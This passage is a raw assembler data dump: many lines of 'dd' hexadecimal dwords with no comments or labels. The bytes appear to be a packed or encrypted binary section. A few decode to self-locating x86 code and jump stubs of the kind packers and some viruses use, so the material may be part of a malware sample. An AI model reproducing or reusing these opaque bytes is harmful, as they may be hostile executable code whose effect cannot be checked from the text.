		dd 2220106h, 1A69E2h, 5D45FE61h, 45991DA1h, 5CC3B3CFh
		dd 24EBh, 8 dup(0)
		dd 0BDE90000h, 89000000h, 3ADE60B5h, 19858B09h,	8B09351Ch
		dd 352FF585h, 0AAB58D09h, 8D093ADEh, 384C2D85h,	0C3D0FF09h
		dd 0E855h, 815D0000h, 3ADEB0EDh, 19BD8309h, 109351Ch, 2C850Fh
		dd 0B5FF0000h, 93ADE60h, 2FF5858Bh, 36350935h, 0FF348127h
		dd 0F013CD0h, 0A85h, 1B800h, 47E90000h,	33000000h, 40E9C0h
		dd 1C6A0000h, 0DE64B58Dh, 0FF56093Ah, 3ADE60B5h, 0F5858B09h
		dd 3509352Fh, 34812736h, 0C483D0FFh, 64B58D0Ch,	8B093ADEh
		dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h
		dd 0BD830000h, 9351C19h, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h
		dd 0DE89858Dh, 8589093Ah, 93505BDh, 13E8h, 0E76F00h, 78B83723h
		dd 0B7DF6138h, 7DEBD25h, 7AF155FEh, 0E395BF50h,	5A5B6242h
		dd 0C281FE8Bh, 62F1h, 118A0Fh, 0CE90000h, 0F2000000h, 6A737492h
		dd 28C6CA1Ah, 0B813FF89h, 2C5C3401h, 2C98F081h,	0CE92C5Ch
		dd 78000000h, 0D9024151h, 78BA7E70h, 8B0F760Ah,	8130B532h
		dd 0CD0C9F6h, 0DFEE8157h, 5316082Bh, 5BD98B51h,	6FEE815Bh
		dd 0F100119h, 3289FABFh, 83FABF0Fh, 8B6603EAh, 36BF4AF8h
		dd 4809D524h, 0FFC9850Fh, 0BF66FFFFh, 8D8DAF21h, 93AE0BEh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0BAC35242h
		dd 0C33C5073h, 89F1498Dh, 3516298Dh, 56006A09h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 9F8AEA9Ah
		dd 4F37C041h, 81663095h, 8BDB28F7h, 352331B5h, 7D85C709h
		dd 0D4093528h, 6A00006Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0D49EC357h,	85C77F7Ah
		dd 9352255h, 0
		dd 24CD9533h, 0B5FF0935h, 9351239h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0EC35646h, 500ABA66h, 0D0595FFh
		dd 0BD8B0935h, 935231Dh, 222C8ABBh, 0FF006A00h,	35082995h
		dd 0EBC08B09h, 5122E459h, 25ADE0EBh, 0DAACCEFBh, 0EA4C2B42h
		dd 3D580F6Ch, 0D4C8CD01h, 5255B9FCh, 6FF7AA06h,	8C9E3926h
		dd 9575616h, 0E68593A2h, 4E8E15ECh, 9E93CD5Ah, 7372B7E6h
		dd 9FD14C28h, 73F0020Eh, 2A70E526h, 9E064E62h, 3979C0E3h
		dd 9BD2B27Fh, 0A25F8428h, 0E6D27F99h, 8EBB5B3h,	46A47C35h
		dd 25C0000h, 0C38E9h, 0E2EB6800h, 71E9093Ah, 68FFFB64h
		dd 93AE3FCh, 0FB6467E9h, 0E56268FFh, 5DE9093Ah,	68FFFB64h
		dd 93AE637h, 0FB6453E9h, 0E6D568FFh, 49E9093Ah,	68FFFB64h
		dd 93AE8D1h, 0FB643FE9h, 0E95F68FFh, 35E9093Ah,	68FFFB64h
		dd 93AEA9Fh, 0FB642BE9h, 0EBCF68FFh, 21E9093Ah,	49FFFB64h
		dd 0B4D3D886h, 324D5E1Eh, 0C7B8E599h, 34535806h, 24D0DD9Dh
		dd 0E09E3589h, 5202CCBBh, 0E6963E49h, 5E1ECAB5h, 0B3123F4Dh
		dd 0CF886131h, 0D0E15922h, 5A6911B7h, 0A47BFBEDh, 7E54755Fh
		dd 98C607FEh, 0B9221D0Eh, 823FC6B3h, 11CF82A7h,	0C06AF207h
		dd 8A68B02Ch, 539609B8h, 5A05DF66h, 2356CF83h, 835940A2h
		dd 930513CFh, 59BB21A0h, 38A7CF83h, 2EFEA5D9h, 5EE7F9B1h
		dd 6F000000h, 6816B7D0h, 83BD2E59h, 100E7D34h, 0C620A51Bh
		dd 95C64DF3h, 0F6E21583h, 9B0D9776h, 792DBE6Eh,	7121FD8Bh
		dd 494EB7C2h, 5CCF82EBh, 0D7B6A42Bh, 4DC4DB4Dh,	0CF828ACFh
		dd 3293A693h, 0CF828AB0h, 18475A3h, 0CF828B1Fh,	0EACDE434h
		dd 0F98C33ABh, 0D055F9B1h, 2C000000h, 0ECC7B71Bh, 0BB1ACEF2h
		dd 4D80C85Ah, 0B9A529C6h, 839542E6h, 0C60DFA15h, 75A8D6F7h
		dd 72245872h, 700E924h,	238598C6h, 0B1B12310h, 3F3FA9DEh
		dd 850E9F6Eh, 6FFDC64Dh, 0DA336027h, 26D449Bh, 7C8596D6h
		dd 4416448Bh, 7030367Ch, 7601B0A9h, 38EB2242h, 35A0E9EFh
		dd 0CF834668h, 4F703DEBh, 80778088h, 0FF49134Bh, 814BB72Dh
		dd 8C7D08BBh, 0E827577Bh, 0F228A59Ch, 81D8BB30h, 7E556297h
		dd 0E5EC1B00h, 21378975h, 0FEA7563h, 9D533h, 6AE8E300h
		dd 0D08C4641h, 6717BCCBh, 0DA844936h, 5F1FB6D1h, 0B307A64Eh
		dd 324D5E1Ch, 0CCBBE09Ch, 38475404h, 0CDBFEC8Ch, 62BF21A4h
		dd 0E794CF88h, 5707CE4Fh, 0C2BC1522h, 6B5DAAEFh, 0E58220Bh
		dd 42EA1F1Dh, 0FE7B7D9h, 919C97F8h, 83742734h, 0CA4B3ECFh
		dd 0CF837358h, 16468CFBh, 0ADFBADF7h, 741D0372h, 5445CF83h
		dd 3C5E78C8h, 5BC3A3Ch,	0B45B9302h, 1DF9B1EFh, 0F6h, 1E1ACEA5h
		dd 0CA9DE95Bh, 0A9EA7079h, 0A816C74Fh, 463146D0h, 0E484308Dh
		dd 0D90C7F32h, 0C17B65F0h, 48E0C64Dh, 97C70E79h, 0C6D01978h
		dd 37A1C64Dh, 0AF196637h, 1CDBACFh, 3EE95E55h, 3B9AEFEDh
		dd 0CF82F066h, 5C45DF8Dh, 1D87B135h, 0F9EDDF11h, 3CF7A180h
		dd 0FACFE891h, 7325FF84h, 0E236CF83h, 8F586734h, 0B0D7EE4Dh
		dd 2472BFAEh, 0C59372D3h, 5562D8BAh, 9A43FE78h,	0DC90798Eh
		dd 0EE773D05h, 9EA998E0h, 29564737h, 68D0BCA2h,	39756320h
		dd 8C48066h, 0FFD20000h, 7951AE7Fh, 0E2E71805h,	7F50AF7Ch
		dd 0FAD12EFFh, 32DD9784h, 9687F7DEh, 34F96569h,	0B07DFDD3h
		dd 1805654Fh, 988A0BF4h, 0BBCF8863h, 7CE26D0h, 2E611DB6h
		dd 0B1EC9239h, 2257C157h, 0C4C98517h, 0B1C7F965h, 4E2ED254h
		dd 9C9781C6h, 0BD1ECAB5h, 0DE2A6511h, 766CA60Ch, 0CC5AE62Ah
		dd 1ACE13DFh, 9440435Ah, 2FF8C7D4h, 0DEE9E029h,	0F1938AEAh
		dd 0A9B2C342h, 0BB61CF82h, 0B282DD50h, 0EEF7CA4Fh, 0B420633Ah
		dd 2C98E7B4h, 0E53323ABh, 3131A394h, 9B680D82h,	0B956C8ABh
		dd 8034C756h, 23A297E0h, 54C0ABC1h, 6FEFE592h, 6F42D430h
		dd 8BEBDD2Ah, 1B43897Eh, 61BE3328h, 0B254C0ABh,	893BCE4Dh
		dd 0B2C5C4E9h, 0E14E6519h, 0F99877F7h, 54C0ABE0h, 0A97897FEh
		dd 116E3F3Fh, 0DBC8C7A7h, 9AFB0C0Ch, 410F5835h,	0E4E3C860h
		dd 8104F5F3h, 483C73B4h, 954BD6Fh, 20738C6Ah, 7D908811h
		dd 0D98D0B18h, 0A7F65937h, 8FB802Fh, 9E954781h,	180470B9h
		dd 0F8EA6B9Ch, 5B37DA78h, 7295F6CDh, 6C000004h,	0EE8ED6C0h
		dd 0FEB567DFh, 80CA5CE4h, 27B5C64Dh, 58C64D90h,	0C64D94B2h
		dd 4D940F0Dh, 0B3B922C6h, 98323FC6h, 3BE1CF82h,	0F88BB147h
		dd 8DBE3A59h, 82439C4Eh, 85933EF5h, 54A23B79h, 2F13E67Ch
		dd 75Eh, 2CF1616Ch, 9687F7DBh, 2DFE6069h, 9C81FDD2h, 25F6646Bh
		dd 854CA04Fh, 17B7C8D5h, 83493667h, 3B5D2DBh, 2D5A3A63h
		dd 88653EA8h, 0C46E1DCFh, 6A10B7D0h, 55E2D133h,	0FFE16463h
		dd 54C64D80h, 122552C4h, 9BF0C3BBh, 30983FA8h, 65B35548h
		dd 0B1142514h, 0C64D802Fh, 0C03DF424h, 0CF886184h, 77180513h
		dd 1319022Dh, 791E5FE6h, 0BB6DD8BDh, 0B32DF81Dh, 3B4C75BEh
		dd 5CA8E797h, 2CD11A65h, 40C5B51Bh, 75BC4AE6h, 4F5A375h
		dd 0F175D481h, 1B7A8F7Eh, 6CA96209h, 0BAE3DE4Ah, 0AB93196Eh
		dd 0AD77B3h, 0F41A469Dh, 0F058B466h, 8FA47E07h,	61B76CA8h
		dd 0E14AFD52h, 5127AEDBh, 2275DDC8h, 0C2F601F6h, 5A8E79A2h
		dd 5E7AF21Ah, 0CCAFDA0Fh, 689F6h, 46349700h, 0BCA02A55h
		dd 433B90EFh, 0B6A02D5Ah, 4B339AE5h, 0A7FB9A62h, 16713A20h
		dd 90EFBCB8h, 2C5B4038h, 0A1F3B8B8h, 66D34DB8h,	0F388CF88h
		dd 1F1D0E7Bh, 0A9CA6BEAh, 0C329CF82h, 0D40753BBh, 904925Bh
		dd 938AEADEh, 7CCF4EB1h, 96C60CABh, 19F46A5Fh, 65F0198Fh
		dd 0D8B7AACCh, 6134F92Fh, 0C64DA87Bh, 4DA92204h, 0C0C80FC6h
		dd 49BE25B7h, 38F0E830h, 0A9950089h, 0EACF88E2h, 33B25F3Eh
		dd 4ECF87E0h, 0CF87E0CFh, 7845897Eh, 0C37E2850h, 206C0CB8h
		dd 83A4F626h, 0EBB2906Bh, 0F9000005h, 8483A8D6h, 0E21D0E4Eh
		dd 57A875E9h, 0E4230876h, 0B4406DEDh, 500EC519h, 0E2923C4Bh
		dd 5606CEB9h, 0EE8E3A45h, 23A2CFBDh, 0CF8866C1h, 0E51E992h
		dd 6BEA1F1Dh, 0CF886197h, 0FB636760h, 7E8B9D48h, 62180A8Bh
		dd 7ADBCF88h, 0CF886168h, 7CAC3DEBh, 2395D2C5h,	796D5A43h
		dd 755FA47Bh, 0EDD728F5h, 617D67EEh, 4ADECF88h,	12C6C1DCh
		dd 80483B52h, 9C2C5D8h,	53BA3A55h, 0B6BFD6C4h, 7B10CC1h
		dd 4ADC2867h, 0C0B81053h, 0D6ED3BCDh, 0E5CFA2F1h, 4D837485h
		dd 6B6F360Dh, 0F9BE12C4h, 1AC0Dh, 0FFD3E400h, 0E2AC47Fh
		dd 6BEA1F1Dh, 0CF828426h, 9BAEDB4Dh, 8283A83Ah,	0C67DABCFh
		dd 83C024D1h, 0AA55CF82h, 20AD9A6Bh, 0BCCD5736h, 8283C759h
		dd 0A59C8CCFh, 0FE0B11DAh, 354A236Eh, 43FE4A0Ch, 0DB3A4F3Ah
		dd 0CF82C649h, 0A6231E0Ah, 0D8B7C9E9h, 708F9C8Ch, 0E4D32444h
		dd 0CEC170F0h, 5E4F2F99h, 85727A61h, 82ECC300h,	920AD2CFh
		dd 4439EDDh, 968A7F1h, 0CF832813h, 666D5A4Fh, 97C70DF8h
		dd 84F8179Ch, 0F9B150DFh, 5906h, 1D0E4C00h, 0EA25517Eh
		dd 0AFF089Eh, 0B29CCE62h, 9D947588h, 82BD3B20h,	76DFEACFh
		dd 0CF82BC6Ch, 4B3398EFh, 0CCBBE6DDh, 4A3B5202h, 82BC59CBh
		dd 782EFACFh, 9C82EF2Eh, 55CF82BCh, 0E41FFE78h,	4F346BEBh
		dd 319E6DACh, 68BE4A45h, 7CF01F8Eh, 0F9B1CFD7h,	0BFFEh
		dd 1ACE4400h, 3542435Ah, 1FADE09Eh, 6FC40736h, 142F7971h
		dd 0CDBAA027h, 596814BAh, 0F6D70106h
		dd 17F6A0DCh, 0B378F8ECh, 4E5FC9E2h, 6E0EBAC6h,	9399823Dh
		dd 6B645366h, 5EB82AEBh, 8D9BC64Eh, 0C9BECBB6h,	6610BD00h
		dd 3C4BDD27h, 5CA8E797h, 101F6865h, 0EA3ECF86h,	9A23AA9Dh
		dd 0D0DD4B33h, 42C318AFh, 0CF84EFE0h, 0BF3A573h, 7C56064Fh
		dd 0EF23BFDAh, 0FD000003h, 8877A4D2h, 0F6111A42h, 8B7CA1DDh
		dd 0F8071442h, 0F884A9D1h, 9CC2095Dh, 1E5E708Fh, 0A2DAF20Dh
		dd 1A5A8E79h, 6FD60311h, 0CF886875h, 0D01D95E6h, 2705D51Ch
		dd 0A49F3887h, 614A3097h, 4A76B226h, 0B6BEFE18h, 0BF3B60B6h
		dd 435A1ACEh, 0C7D49440h, 0C65C2Bh, 23B9C64Eh, 0EC64E00h
		dd 6BEA1F1Dh, 0CF88E197h, 281F68C0h, 88FBB6A6h,	3B4C4C9Bh
		dd 48DA3B4Eh, 0BCF87E1h, 12A7261Dh, 61D8BD0Dh, 23B1C7B7h
		dd 0DF0756Eh, 36139h, 1E5C6F00h, 0A4D8F20Dh, 1B438877h
		dd 9ED8F512h, 235B728Dh, 7FD382FAh, 0FE091248h,	8877A4D0h
		dd 0F4131840h, 997BA0C0h, 69FBE570h, 2B60CF88h,	5A1ACE83h
		dd 78737F2Dh, 9D3E49C7h, 43FE7E6Ah, 0C1A11350h,	0FCFCEBDCh
		dd 32358A0Bh, 2760CF83h, 2E61B7A7h, 832D59C7h, 77A609CFh
		dd 0B15A50FFh, 4A81F9h,	0EC90000h, 0B15801Dh, 50C64D81h
		dd 0DC394ED8h, 0CF82B0BFh, 0A73542D6h, 0BBA43F46h, 0DD47CECEh
		dd 7ECF82ECh, 5245FCAAh, 82EC3DA3h, 5BBA25CFh, 0B19F7C23h
		dd 0F465F9h, 0F07C0000h, 0C608F7F7h, 3F2D7796h,	0BBF3D96h
		dd 0F4EEC553h, 435A1ACEh, 54CE3742h, 7C64D80h, 0BE152211h
		dd 3725B7C0h, 0C090B7EAh, 9BC8BB76h, 47404929h,	62C6D981h
		dd 0DD07FC4Fh, 0ECFD909Dh, 9FC64E74h, 49359DAAh, 0CF51B256h
		dd 22C64E6Bh, 48DCB3ABh, 0CDBA899Fh, 35525B1Bh,	0F7ACE383h
		dd 76DF2830h, 0CF839811h, 0DFFED3E4h, 89C73EBh,	2EFAA39Eh
		dd 0DCF304FDh, 0FD8A39Eh, 26950009h, 35D8BAFCh,	2AA196E3h
		dd 2D1A6734h, 4125B7A7h, 72EDAD81h, 0A229162Dh,	0F7B4D0BCh
		dd 22FD7563h, 22144h, 0DE9C2F00h, 6418B2CDh, 0DB834837h
		dd 5E18B5D2h, 0E39B324Dh, 3F9342BAh, 0BEC9D288h, 48376410h
		dd 0B4D3D880h, 593B6000h, 6A3BA530h, 6B20CF88h,	16B7D0C3h
		dd 0E0D33568h, 2DFE7C53h, 9586E6D2h, 0A3CF5D6Ch, 842AF750h
		dd 2DB75Ch, 0FA2EC64Eh,	1D0EAF47h, 0EE6BEA1Fh, 5CF82B0h
		dd 8795FC13h, 6ACF82B0h, 0E023FA62h, 0DC46CFEEh, 7FCF82B0h
		dd 0FA20FFA9h, 5412008Fh, 0EED9AAE9h, 2A679E5h,	0C3F09F2Fh
		dd 0F9E1F9B1h, 69000000h, 435A1ACEh, 0D3328940h, 0C64D8051h
		dd 64E11602h, 0C64D8082h, 0BED147D1h, 4D859657h, 0F17163C6h
		dd 0FEEADD2Ch, 0DF669F7Eh, 0C64D8505h, 2154C256h, 7300B3ABh
		dd 0FBEE2141h, 0BB294671h, 67796313h, 6B182B0Ah, 4AF4DB7Ch
		dd 48849B2Ch, 97762016h, 0E76E9B0Dh, 0CF8382A2h, 4B3667B1h
		dd 0ACE3933Ch, 0CD1E6958h, 46CFBACFh, 0CF8379DCh, 0F560A97Fh
		dd 0CF8379EBh, 8009B870h, 0BB2B4715h, 6B9C8CD8h, 6A64755Ch
		dd 0C751B3EAh, 5F7681ECh, 0DAF10E1Fh, 0C8A68005h, 63B5C64Fh
		dd 21A7C9B5h, 1FFA7563h, 0F143h, 8ECCFF00h, 0F468629Dh
		dd 8BF3D827h, 0EE6865A2h, 530BC2BDh, 0AF03B24Ah, 4E396218h
		dd 0B8C7D480h, 44436810h, 0C9CBD090h, 6BAB35A0h, 0DBB0CF88h
		dd 13B7D053h, 3F5E1ECAh, 0C85C33E5h, 356816BDh,	7C53E0D3h
		dd 676309FEh, 85EB1BA0h, 0FE095063h, 0F981AACAh, 0C817B7D0h
		dd 4D80E33Dh, 0F6A078C6h, 0E484303Bh, 6A0ABEA9h, 37A92C1Dh
		dd 1CC64D80h, 4F70350Ch, 0E778088h, 0CF88622Eh,	0AFB4EB3Dh
		dd 0E53FC605h, 76CF8861h, 1A6B8A2h, 85F78F2Eh, 6DFF0A13h
		dd 78E3C17Bh, 6B46C8h, 1C7994D4h, 1F261EAFh, 2AFB1AE5h
		dd 0C9F48D1Fh, 0F2D43A2Ah, 0F1BA8F91h, 2354C40Ch, 0F1BA40A2h
		dd 2E05130Ch, 0C6D79741h, 306F0FB9h, 0C1DC9A33h, 10E332DDh
		dd 0A8D7C4A4h, 3C4B3C3Ch, 5FA9E494h, 1F6EF64h, 0A3C892CCh
		dd 0AD7A11B9h, 3CDD9E8h, 2D000000h, 3CE9565h, 9D473C53h
		dd 0FC5C2DDh, 0BB13504Fh, 289FE4BBh, 0A1285B32h, 2CA1E6B9h
		dd 0A3285B32h, 2B9FE4BBh, 68805C33h, 748Dh, 89240489h
		dd 405E0h, 0E8830000h, 24048704h, 0E689565Ch, 4C681h, 0EE810000h
		dd 4, 5C243487h, 68240489h, 67D8h, 68243C89h, 93AE185h
		dd 8324048Bh, 8B5404C4h, 0C483243Ch, 8BA5204h, 1000000h
		dd 0B951FAh, 1000000h, 590189D1h, 2434FF5Ah, 4C4835Fh
		dd 5124048Bh, 0C181E189h, 4, 8704C183h,	0E95C240Ch, 0FFFB5848h
		dd 4C5818C5h, 0ECE5B8E1h, 0C503093Ah, 3385E0FFh, 0A20A219Bh
		dd 0E6F16695h, 0ED8120F8h, 574B6604h, 0CCF6670Bh, 673C5CFDh
		dd 640946DDh, 9D29717Bh, 75612328h, 229E6F4Dh, 0B7E40EBEh
		dd 9E80647h, 0E6000000h, 48EE7AFDh, 98AD656Ch, 84BA6660h
		dd 0EB3BEA4h, 5E614E82h, 98E0Fh, 0BA600000h, 17F941DDh
		dd 816149B0h, 5BA1C6h, 57BF6600h, 6833h, 29B40000h, 0D0CB815Ah
		dd 8B28916Ah, 0E860160Ch, 0Ah, 80FF808Ah, 444681Ah, 890FB389h
		dd 0
		dd 61DD8A5Ah, 0C28EF181h, 0E88116E4h, 3DB5F2C1h, 0B192C181h
		dd 81661592h, 81018EC0h, 0C157F8F1h, 0C89FC72h,	13E916h
		dd 15D80000h, 31321AC2h, 0F2A4C987h, 0DD2CA821h, 64E753CBh
		dd 8B6656A9h, 0EA815BD9h, 6043AC49h, 0C28101B0h, 6043AC45h
		dd 4CD78166h, 40FA81FAh, 0FFFFFA5h, 1C85h, 69EB8100h, 0E90CA6A0h
		dd 24h,	0E22BF8DFh, 8DC0B794h, 7544B778h, 57347FABh, 6A2CBF47h
		dd 60E95C9Ch, 63FFFFFFh, 0AFFF75E0h, 6D4DA76h, 0EF5E8D8Dh
		dd 6A093Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 678B18C3h, 430907Fh, 8B666B75h, 298D89F3h
		dd 6A093516h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 31F0C356h, 0C766E7F5h,	35287D85h
		dd 72BC09h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0C1B62F16h, 6B88DBCAh, 2ED19D8Bh
		dd 85C70935h, 9352255h,	0
		dd 1AF5B58Bh, 0B5FF0935h, 93503DDh, 0AE18523h, 95FF0935h
		dd 9350D05h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0FDC35141h, 68C0F7Dh, 89000000h, 352C5185h, 0FF006A09h
		dd 35082995h, 0EBC08B09h, 0B3176859h, 96F40694h, 82B07Ch
		dd 7C9E6974h, 0E3756C78h, 4359F9A1h, 0A3210F2Bh, 0BFB93694h
		dd 84572B2Bh, 978D792Ch, 0A0730A8Fh, 1C76193Dh,	0F288FCB5h
		dd 3F02371Dh, 0C555AA2Ch, 3D0CAD91h, 7CB7A0ADh,	62B01C43h
		dd 0BA5A5DCCh, 521991Ch, 0EABD592Bh, 9D0E8073h,	0ABE9C6CCh
		dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh,	0F44592B3h
		dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh,	55207520h
		dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h,	0B599BD32h
		dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h
		dd 0F07B6B5Ch, 8A924Ah,	45F352D0h, 0A3F653F5h, 44D6D979h
		dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h
		dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h
		dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h
		dd 1E80097h, 3D94E7A6h,	82F48332h, 20E916BEh, 68000013h
		dd 93AF20Ah, 0FA8E5BE9h, 0F30A68FFh, 51E9093Ah,	68FFFA8Eh
		dd 93AF3C9h, 0FA8E47E9h, 0F52568FFh, 3DE9093Ah,	68FFFA8Eh
		dd 93AF5CAh, 0FA8E33E9h, 0F67A68FFh, 29E9093Ah,	68FFFA8Eh
		dd 93AF71Dh, 0FA8E1FE9h, 0F7DB68FFh, 15E9093Ah,	68FFFA8Eh
		dd 93AF8D3h, 0FA8E0BE9h, 0FAB368FFh, 1E9093Ah, 68FFFA8Eh
		dd 93AFBA1h, 0FA8DF7E9h, 0FD2568FFh, 0EDE9093Ah, 68FFFA8Dh
		dd 93AFE78h, 0FA8DE3E9h, 1368FFh, 0D9E9093Bh, 68FFFA8Dh
		dd 93B0111h, 0FA8DCFE9h, 0B51240FFh, 0E4FD70E8h, 0B32E41B7h
		dd 0D9FE76EAh, 0B4253CC4h, 0AB5F2CE7h, 27627B2h, 0A92F6C69h
		dd 0EF712AB7h, 93356673h, 501FA53Bh, 8A1B12FBh,	0AE2B4749h
		dd 445DD143h, 653D8857h, 64343B69h, 96F21503h, 11BC208h
		dd 0C430B613h, 0DB69880Eh, 13011BF5h, 658C0D25h, 8F627FF3h
		dd 2EC9BB2Ah, 37100461h, 928523D6h, 2591h, 0EB154200h
		dd 0F78A6A77h, 0CAD8F4ACh, 1503725Bh, 64F4FFA1h, 13011162h
		dd 0F9D2C223h, 92852994h, 0CFD3h, 2B47B400h, 1D9F43AEh
		dd 0DC609306h, 0A8FA618h, 0E0F975E7h, 227A94ECh, 9488439Dh
		dd 0F36FE160h, 7827B5E6h, 0B81C362Bh, 6C623BA4h, 38BCD952h
		dd 0C62DAAC6h, 16B66E39h, 3530588h, 0A8F5FB15h,	49E48C17h
		dd 0A31FA150h, 4DB3A280h, 9438B65Fh, 0CBF6804Eh, 5A72740Bh
		dd 707B4122h, 0EE06DAB5h, 20B9B04Ah, 6D6C057Bh,	0A2C6DD79h
		dd 796100E9h, 10E7h, 0E1BA1F3Dh, 697021Fh, 0DBC0DD52h
		dd 0F8C0D25h, 0D4C9D049h, 41D8B2C7h, 0A6BD4358h, 78F66A33h
		dd 0A2BE425Bh, 0CC06835h, 0FB4FECD6h, 18BBE812h, 0A032AD15h
		dd 763D1155h, 62150C7Eh, 355B763Ch, 944A721Ch, 1C355B2Eh
		dd 846A842Ah, 545E8448h, 501C355Bh, 0FD1A64Eh, 36158613h
		dd 0A12BB915h, 951C3641h, 4550E313h, 3428819Dh,	2AC448ABh
		dd 23AB45C7h, 371927Dh,	0D9506615h, 35C32EC0h, 13011193h
		dd 0EAE3D154h, 928529A3h, 0B2C4h, 60FCFE00h, 0FCF87C77h
		dd 0AE2B4755h, 4158D143h, 417322B2h, 69931C36h,	930DE9F0h
		dd 7C19129Fh, 0BBB72972h, 7D48D31Eh, 296529A5h,	363E517Bh
		dd 53A3451Ch, 365BABDh,	0ADC63815h, 0AF47C928h,	21BEDF01h
		dd 0D00EBE96h, 0BCCCA07h, 0C9F3DBFDh, 5A544950h, 0E0A1C860h
		dd 97EF0F29h, 0CD4FA24Ch, 1BBEB729h, 0A34529CBh, 452DB4E9h
		dd 0FE7h, 0E1BA1F3Dh, 697021Fh,	0DBC0DD52h, 0F8C0D25h
		dd 0D4C9D049h, 41D8B2C7h, 0A6BD4358h, 78F66A33h, 0A2BE425Bh
		dd 0CC06835h, 0FB4EECD6h, 18BBE812h, 0F2AB2E47h, 6852903Ch
		dd 5C1C3641h, 2C40BA3Ah, 4749EAB3h, 0D143AE2Bh,	0A157445Dh
		dd 41BB138Eh, 0C044AF2Ah, 273BAD34h, 2D21E1BAh,	9D31E9BCh
		dd 3553407h, 5B724A15h,	1081B6F0h, 9E40EE06h, 0DFDDE07Eh
		dd 0A3F6E286h, 787B66FBh, 0F6D2FAF4h, 0D425A5C6h, 53A36022h
		dd 43DA12BDh, 31C0E616h, 0D24B13A6h, 0A5B5FFA5h, 2FB124ABh
		dd 19F2FC1h, 1D839D0Fh,	0EF11BDE3h, 54666673h, 6136BEDBh
		dd 0CE16839Fh, 0E85374F4h, 28200AA9h, 7E00000Fh, 32A6F7DCh
		dd 87F9A23Fh, 28B0EDE8h, 82F6A730h, 0E6ADEEEBh,	5D7CF595h
		dd 36A3B840h, 607DF365h, 30A9C53Bh, 0DB09C56Bh,	12FB4EF1h
		dd 4713B8E5h, 0B843AE2Bh, 0B9935EDh, 15034090h,	75594264h
		dd 3638130Dh, 37BF344Ah, 8D4119ACh, 0CDB5D857h,	329A3C0Bh
		dd 0E80C9588h, 0B9F5DB69h, 2FB61C35h, 964C8045h, 1C35B92Ch
		dd 6175828h, 93C41646h,	94F9995Dh, 0D3895044h, 55h, 0AA65CFAFh
		dd 0B24639A8h, 9B2E9B42h, 41B903A1h, 0FFAB1C36h, 0F0ED4626h
		dd 48A6487Ah, 9F565E84h, 484E1502h, 0F7E47A84h,	60FE00A6h
		dd 0F8FC8073h, 11F626Ah, 0FD9A9613h, 0BCE2A6A0h, 13011FF6h
		dd 1FDCE6FCh, 0D6D81301h, 900AEAECh, 8F2019Eh, 0E57h, 0C39B2E49h
		dd 94FFBF0Bh, 8335D7BCh, 4ED05E96h, 0C2150CA2h,	120EB01Ch
		dd 0CC601885h, 61C9F3B1h, 1BBD12FBh, 6E07F9D5h,	0D2E576Bh
		dd 46A5F16Dh, 11A42FAEh, 0B6758F0Bh, 2EC069Bh, 2BEFECAh
		dd 0DAF729D2h, 0EEEB8678h, 0E5157806h, 0B9150BD1h, 5FFB2009h
		dd 4DE437Dh, 1C3622BEh,	0AF2844BAh, 0D9FFB541h,	4A57CBF5h
		dd 6938F51h, 4F5560EBh,	52642929h, 0B11DD337h, 2E200F3h
		dd 0F2F2F415h, 0F2D5FA0Eh, 0CCFAE48Fh, 2200000Dh, 560A9330h
		dd 1BDDBEDBh, 7C049904h, 36AAF3E4h, 3A019A3Fh, 4950C941h
		dd 2978C54h, 4C49E799h,	0C95894Fh, 0AFF5998Fh, 12FB4D05h
		dd 2BEFD401h, 1C3641A5h, 9D31E9BCh, 0CAD8807h, 0BA467615h
		dd 94A901CFh, 8E10BE36h, 6E548A3Eh, 6A12FC37h, 0F20CB044h
		dd 923C617Eh, 8EBF468h,	0F5FC9D94h, 7797D73h, 2A5E6E6Bh
		dd 0FC374E74h, 50A44A12h, 9C932DD1h, 5762F501h,	0B4AD4F7Fh
		dd 37D7DD03h, 0CDD312FCh, 804CD023h, 0FC375862h, 0AA4A4C12h
		dd 36A9E0FEh, 993F0BC9h, 0AF96494Dh, 0E5CD54E9h, 0D27h
		dd 0A1FADF7Dh, 465742DFh, 9B009D92h, 4F4C4DE5h,	94099089h
		dd 118F287h, 0E67D0398h, 3836AAF3h, 0E27E029Bh,	0CC00A8F5h
		dd 0FB4CAC16h, 0D8FBA812h, 0D802B47h, 717760BCh, 99061AE4h
		dd 34289C57h, 809923ABh, 9E56DA19h, 8173821Fh, 50DA85C8h
		dd 79BE289h, 2EB10000h,	0D50BC39Bh, 150CAD9Dh, 0C5379719h
		dd 0F56B30A9h, 526C6079h, 0AE32C1DEh, 5B23C746h, 0BA736C30h
		dd 21AF4766h, 12FB499Fh, 7C19E59Dh, 0FB94B460h,	18A8142Bh
		dd 26CE5C7Dh, 7C50089Bh, 61557050h, 3B3DD278h, 0DB6E25BBh
		dd 648A0BC8h, 0AFF5C480h, 0B09A19E9h, 0C77h, 514A6FCDh
		dd 9607928Fh, 4B504DE2h, 9FFC9D95h, 445940D9h, 91880277h
		dd 56CD9308h, 88A65A43h, 52CE920Bh, 1C705845h, 0FB4B3C86h
		dd 28AB3812h, 43AE2B47h, 0AD445DD1h, 3EB5203Bh,	0AC4754CAh
